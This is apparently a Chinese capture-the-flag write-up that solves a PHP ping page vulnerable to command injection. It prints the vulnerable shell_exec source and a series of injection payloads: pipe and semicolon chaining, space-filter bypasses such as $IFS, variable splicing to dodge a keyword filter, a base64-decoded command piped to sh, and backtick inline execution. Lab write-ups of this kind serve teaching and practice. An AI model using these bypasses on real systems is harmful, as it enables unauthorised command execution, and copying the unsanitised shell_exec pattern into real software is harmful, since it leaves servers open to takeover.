- 打开目标靶机
发现提示很简洁
- 那就放在URL里尝试吧
/?ip=127.0.0.1
有明显的的回显结果
并没有此类题目的经验,第一次碰到,只能尝试,发现空格等很多符号被过滤,看老哥们的提示,这是经典的Linux命令执行,使用命令执行的管道符 “|” 尝试列出文件,OK那就开干吧 - 构造如下 payload
/?ip=127.0.0.1|ls
有结果,得到文件名称
4. 拿到文件名,flag 大概率在 flag.php 中,那么接下来肯定尝试去访问,或者列出文件内容啊
?ip=1|cat flag.php
额,,,,发现空格被过滤
那么想办法绕过空格,大题有以下思路
$IFS
${IFS}
$IFS$1 // 1 改 成 1改成 1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
注意:
有时 cat
可能被过滤,那么尝试用 tac
,反向输出;或者 linux命令中可以加 \
,所以甚至可以 ca\t /fl\ag
5. 知道了空格的绕过方法,逐个尝试,构造如下 payload
/?ip=1|cat$IFS$1flag.php
真是一波三折~~~,此处到底过滤了多少东西啊
6. 查看 index.php 看能否得到些许有用信息,构造 payload
/?ip=1|cat$IFS$1index.php
出现了部分内容
但是貌似不全,可能是因为其他原因导致,右键查看网页源码,得到如下代码
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
- 进行代码审计,发现过滤很多标点,空格,bash以及flag的贪婪匹配,,,,,那么常规访问
flag.php
的方法肯定行不通,代码中有个 $a 考虑进行变量覆盖,构造如下 payload
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//或者
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
额,好像也没变化撒,不慌,先看一波网页源码再做定论
或者直接 Ctrl + u(Chrome浏览器)
发现flag是出来的,只不过再注释里,所以没有显示出来。因此做题的时候,尽量开着
8. 官方给出 payload 为:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
即先对 cat flag.php
进行base64 加密,过滤 bash
,那就用 sh
同样可得 flag,此处为了做区分,特地换了ip
9. 还有另外一种方法:内联执行
使用 `` 代替 | ,将反引号内命令的输出作为输入执行,即:
/?ip=2.2.2.2;cat$IFS$1`ls`
10. 总结
-
需掌握以下知识点
- 命令执行变量拼接
- 过滤 bash 用 sh 执行
- 内联执行,将反引号内命令的输出作为输入执行
- 空格绕过姿势
- 代码审计能力
- 熟悉 Linux 命令的使用方法,管道等
做题不能大意,不能根据回显结果简单的做定论,一定要把能了解的信息都查看完之后,在确定是否有效。养成看网页源码的好习惯!!